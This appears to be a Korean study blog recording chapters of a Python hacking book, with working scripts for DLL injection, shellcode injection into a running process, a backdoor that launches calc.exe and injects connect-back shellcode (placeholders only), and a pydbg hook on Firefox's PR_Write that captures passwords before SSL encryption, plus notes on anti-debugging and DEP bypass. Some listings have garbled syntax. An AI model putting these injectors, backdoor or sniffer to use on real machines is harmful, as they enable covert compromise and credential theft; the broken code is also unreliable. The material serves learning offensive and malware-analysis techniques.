[4주] 07장 DLL과 코드 인젝션

Posted by dw0rdptr
2015. 2. 16. 13:42 Study/파이썬 해킹 프로그래밍

DLL 인젝션과 코드 인젝션에는 몇 가지 차이가 있지만 두 가지 방법 모두 원격스레드 생성이라는 동일한 방법으로  수행된다.

원격스레드를 생성하는 데 사용되는 Win32 API는 CreateRemoteThread()이다.

프로토타입

HANDLE WINAPI CreateRemoteThread(
    HANDLE  hProcess,
    LPSECURITY_ATTRIBUTES  lpThreadAttributes,
    SIZE_T  dwStackSize,
    LPTHREAD_START_ROUTINE  lpStartAddress,
    LPVOID  lpParameter,
    DWORD  dwCreationFlags,
    LPDWORD  lpThreadId
);



DLL 인젝션 기술은 선악에 구분없이 오래동안 광범위하게 사용되어왔다.

DLL인젝션의 장점은 컴파일된 바이너리를 프로세스 내에 로드하고 그것을 해당 프로세스의 일부분으로 실행시킬 수 있다는 것이다. 

프로세스가 DLL을 메모리에 로드하게 만들어보자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#dll_injector.py
#-*- coding: utf-8 -*-
import sys
 
from ctypes import *
 
PAGE_READWRITE        = 0x04
PROCESS_ALL_ACCESS    = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM            = (0x1000 | 0x2000)
 
kernel32    = windll.kernel32
pid         = sys.argv[1]
dll_path    = sys.argv[2]
dll_len     = len(dll_path)
 
 
#DLL을 인젝션할 프로세스의 핸들을 구한다
h_process   = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
 
if not h_process:
    print "[*] Couldn't Acquired a Handle to PID : %s" % pid
    sys.exit(0)
 
 
# DLL의 경로를 저장하기 위한 공간 할당
 
arg_address = kernel32.VirtualAllocEx(h_process,
                                      0,
                                      dll_len,
                                      VIRTUAL_MEM,
                                      PAGE_READWRITE)
 
#할당한 공간에 DLL의 경로를 써넣음
written = c_int(0)
kernel32.WriteProcessMemory(h_process,
                            arg_address,
                            dll_path,
                            dll_len,
                            byref(written))
 
#LoadLibraryA의 주소를 구함
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib  = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")
 
#원격스레드를 생성하고 DLL의 경로를 파라미터로 전달해 LoadLibraryA가 실행
thread_id = c_ulong(0)
 
if not kernel32.CreateRemoteThread(h_process,
                                    None,
                                    0,
                                    h_loadlib,
                                    arg_address,
                                    0,
                                    byref(thread_id)):
    print "[*] Failed To Inject the DLL. Exiting."
    sys.exit(0)
 
print "[*] Remote Thread With ID 0x%08x created" % thread_id.value
cs

코드 인젝션은 실행중인 프로세스에 셸코드를 삽입해 메모리상에서 실행되게 만들 수 있다. 또한 공격자가 다른 프로세스로 셸 커넥션을 바꾸는 것이 가능하다. 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#code_injector.py
#-*- coding: utf-8 -*-
import sys
from ctypes import *
 
#셸코드가 할당한 메모리 블록에서 실행될 수 있게 메모리 블록의 권한을 설정
PAGE_EXECUTE_READWRITE    = 0x00000040
PROCESS_ALL_ACCESS        = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM                = (0x1000 | 0x2000)
 
kernel32    = windll.kernel32
pid           = int(sys.argv[1])
pid_to_kill  = sys.argv[2]
 
if not sys.argv[1or not sys.argv[2]:
    print "Code Injector: ./code_injector.py [pid to="" inject=""] [pid to="" kill=""]"
    sys.exit(0)
 
shellcode = #셸코드가 들어갈 자리
 
padding            = 4 - (len(pid_to_kill))
replace_value    = pid_to_kill + ("\x00" * padding)
replace_string    = "\x41" * 4
 
shellcode    = shellcode.replace(replace_string, replace_value)
code_size    = len(shellcode)
 
#인젝션을 수행할 프로세스의 핸들을 구한다.
h_process    = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
 
if not h_process:
    print "[*] Couldn't acquire a handle to PID : %s" % pid
    sys.exit(0)
 
#셸코드를 위한 공간을 할당
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM,
                                                        PAGE_EXECUTE_READWRITE)
 
#셸코드를 써넣는다.
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode,
                                             code_size, byref(written))
 
#원격스레드를 생성하고 그것이 실행시킬 코드의 시작 주소를 셸코드의 시작 부분으로 설정.
thread_id = c_ulong(0)
    if not kernel32.CreateRemoteThread(h_process, None, 0, arg_address, None, 0,
                                                         byref(thread_id)):
    print "[*] Failed To Inject process-killing shellcode."
    sys.exit(0)
 
print "[*] Remote thread created with a thread ID of : 0x%08x" % thread_id.value
print "[*] Process %s shellcode should not ne running anymore!" % pid_to_kill
cs

이번에는 인젝션 기술을 시스템의 권한을 획득하는 데 활용될 수 있는 백도어 제작에 사용해 보자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#backdoor.py
#-*- coding: utf-8 -*-
#my_debugger_defines.py파일 필요
 
import sys
from ctypes import *
from my_debugger_defines import *
 
kernel32                = windll.kernel32
 
PAGE_EXECUTE_READWRITE    = 0x00000040
PROCESS_ALL_ACCESS        = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM                = (0x1000 | 0x2000)
 
#원래의 실행 바이너리
path_to_exe                = "C:\\calc.exe"
 
startupinfo                     = STARTUPINFO()
process_information        = PROCESS_INFORMATION
creation_flags                = CREATE_NEW_CONSOLE
startupinfo.dwFlags        = 0x01
startupinfo.wShowWindow    = 0x00
startupinfo.cb                      = sizeof(startupinfo)
 
#원래의 실행 바이너리 프로세스를 생성하고 PID저장
kernel32.CreateProcessA(path_to_exe,
                                     None,
                                     None,
                                     None,
                                     None,
                                     creation_flags,
                                     None,
                                     None,
                                     byref(startupinfo),
                                     byref(process_information))
 
pid = process_information.dwProcessId
 
def inject(pid, data, parameter = 0):
    #인젝션을 수행할 프로세스의 핸들을 구한다
    h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
 
    if not h_process:
        print "[*] Couldn't acquire a handler to PID : %s" % pid
        sys.exit(0)
 
    arg_address = kernel32.VirtualAllocEx(h_process,
                                          0,
                                          len(data),
                                          VIRTUAL_MEM,
                                          PAGE_EXECUTE_READWRITE)
    written = c_int(0)
 
    kernel32.WriteProcessMemory(h_process,
                                arg_address,
                                data,
                                len(data),
                                byref(written))
 
    thread_id = c_ulong(0)
 
    if not parameter:
        start_address = arg_address
    else:
        h_kernel32         = kernel32.GetModuleHandlerA("kernel32.dll")
        start_address     = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")
        parameter        = arg_address
 
    if not kernel32.CreateRemoteThread(h_process,
                                       None,
                                       0,
                                       start_address,
                                       parameter,
                                       0,
                                       byref(thread_id)):
        print "[*] Failed to inject the DLL"
        sys.exit(0)
  
    return True
 
#이제 백도어 프로세스 자체를 종료시키기 위해 다른프로세스에 코드인젝션 수행
connect_back_shellcode = #shellcode
 
inject( pid, connect_back_shellcode)
 
our_pid = str(kernel32.GetCurrentProcessId())
 
process_killer_shellcode = #shellcode
 
padding = 4 -(len(our_pid))
replace_value = our_pid + ("\x00" * padding)
replace_string = "\x41" * 4
process_killer_shellcode= 
process_killer_shellcode.replace(replace_string, replace_value)
 
inject(our_pid, process_killer_shellcode)
 
cs


[3주] 05장~06장 후킹

Posted by dw0rdptr
2015. 1. 26. 09:33 Study/파이썬 해킹 프로그래밍

Immunity 디버거와 파이썬을 이용하면 안티 디버깅 루틴을 우회할 수 있는 간단한 스크립트를 작성해

악성코드 분석 시에 사용할 수 있다. 


가장 널리 사용되는 안티디버깅 기법은 kernel32.dll이 익스포트하는 IsDebuggerPresent함수이다.

파라미터가 없으며 디버거가 프로세스에 붙여져있으면 1, 아니면 0을 반환한다.

디스어셈블해보면 PEB(Process Environment Block)구조체의 오프셋 0x2위치에있는 BeingDebugged 값을 EAX

레지스터에 할당하고 리턴한다.


imm.writeMemory(imm.getPEBaddress() + 0x2, "\x00")

위 코드는 단순히 PEB의 BeingDebugged 플래그 값을 0으로 만드는 것으로

IsDebuggerPresent 함수를 사용하는 악성코드의 경우에는 디버거가 붙여진 것을 알아차리지 못하게 된다.



또한 악성코드는 디버거가 실행중인지 확인하기 위해 반복적으로 실행중인 프로세스를 검사하기도 하는데,

이 때 Process32First 함수와 Process32Next 함수를 이용한다. 두 함수 모두 실행결과의 성공여부를 나타내기 위해

boolean값을 반환하는데, 마찬가지로 EAX 레지스터 값을 0으로 만들고 바로 리턴하게 함수를 패치하면 악성코드는

실행중인 프로세스 리스트를 구할 수 없다.



06장 - 후킹


후킹은 프로세스를 모니터링하기 위해 실행 흐름을 변경하거나 프로세스가 접근하는 데이터를 변경하기 위해 사용되는 기술이다. 루트킷, 키로거, 디버거 모두 후킹이라고 할 수 있다.

후킹에는 소프트후킹과 하드후킹 두 가지 방법이있다.

1.소프트후킹 : 대상프로세스에 붙인 다음에 실행흐름을 가로채기 위해 INT3 브레이크포인트 핸들러를 구현하는 것(호출빈도 낮은 함수 후킹)

2.하드후킹    : 어셈블리 언어로 작성된 후킹 코드가 실행되게 점프 코드를 삽입하는 것(호출빈도 높은함수 후킹)


파이어폭스 프로세스가 데이터를 암호화해 서버에 전송하기 전에 데이터를 스니핑해보자.

파이어폭스는 SSL 암호화 형태를 사용한다. nss3.dll의 익스포트 함수인 PR_Write 함수에 후킹을 설정해 암호화되기 전의 아스키 데이터를 스니핑한다.(책에 나온 nspr4.dll로 하면 실행되지않는다.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#firefox_hook.py
#-*- coding: utf-8 -*-
from pydbg import *
from pydbg.defines import *
 
import utils
import sys
 
dbg                = pydbg()
found_firefox     = False
 
 
#serch for
pattern        = "password"
 
#entry callback function
#args[1]파라미터가 중요
def ssl_sniff(dbg,args):
 
    #두 번째 파라미터가 가리키는 주소의 메모리를 읽음
    #아스키문자열이 저장되어있기 때문에 NULL 바이트를 만날때까지 데이터 읽음
    buffer = ""
    offset = 0
 
    while 1:
        byte = dbg.read_process_memory(args[1+ offset,1)
 
        if byte != "\x00":
            buffer += byte
            offset +=1
            continue
        else:
            break
 
    if pattern in buffer:
        print "Pre-Encrypted : %s" % buffer
 
    return DBG_CONTINUE
 
#firefox.exe 프로세스를 찾는다
for (pid,name) in dbg.enumerate_processes():
    if name.lower() == "firefox.exe":
 
        found_firefox = True
        hooks          = utils.hook_container()
 
        dbg.attach(pid)
        print "[*] Attaching to firefox.exe with PID : %d" % pid
 
        #후킹을 수행할 함수의 주소를 구함
        hook_address = dbg.func_resolve_debuggee("nss3.dll","PR_Write")
 
        if hook_address:
            #후킹 함수를 후킹컨테이너에 추가
            #exit 콜백은 필요없기 때문에 None으로 입력
            hooks.add(dbg,hook_address,2,ssl_sniff,None)
            print "[*] nspr4.PR_Write hooked at : 0x%08x" % hook_address
            break
        else:
            print "[*]Error : Couldn't resolve hook address"
            sys.exit(-1)
 
if found_firefox:
    print "[*] Hooks set, continuing process."
    dbg.run()
else:
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)
cs

파이어폭스를 실행하고 firefox_hook.py를 실행시킨다.

그리고 http://openrce.org에서 아이디와 패스워드를 입력하고 login버튼을 누르면 아래와 같은 결과가 나온다.


username=lake&password=lake

뒤에 Z가나오는건 무슨이유인지 모르겠다

[3주] 05장 - 윈도우 DEP우회

Posted by dw0rdptr
2015. 1. 26. 09:18 Study/파이썬 해킹 프로그래밍

마이크로소프트 윈도우에는 힘과 스택같은 메모리 영역에 있는 코드가 실행되는것을 방지하기 위해

DEP이라는 보안기능이 있다.

NtSetInformationProcess 함수로 DEP을 우회할 수 있다.

스택에 존재하는 파라미터를 이용해 NtSetInformationProcess(-1,0x22,0x2,0x4) 로 호출하면

현재 프로세스에 대한 DEP설정을 비활성화시킨다. 


이를위해서 세가지 주소가 필요한데

1. AL레지스터의 값을 1로 설정하고 리턴하는 주소

2. DEP를 비활성화시키는 코드가 존재하는 곳의 주소

3. 리턴하면서 셸코드의 시작 부분을 실행시킬 수 있는 주소


이 주소를 찾아주는 findantidep.py 스크립트가 이미 있고 공격 코드 문자열을 제공해

찾은 주소에 대한 오프셋 계산을 따로 할 필요가 없다. 따라서 단순히 공격코드문자열을 복사해 사용하기만 하면된다.



스크립트를 실행한 후 로그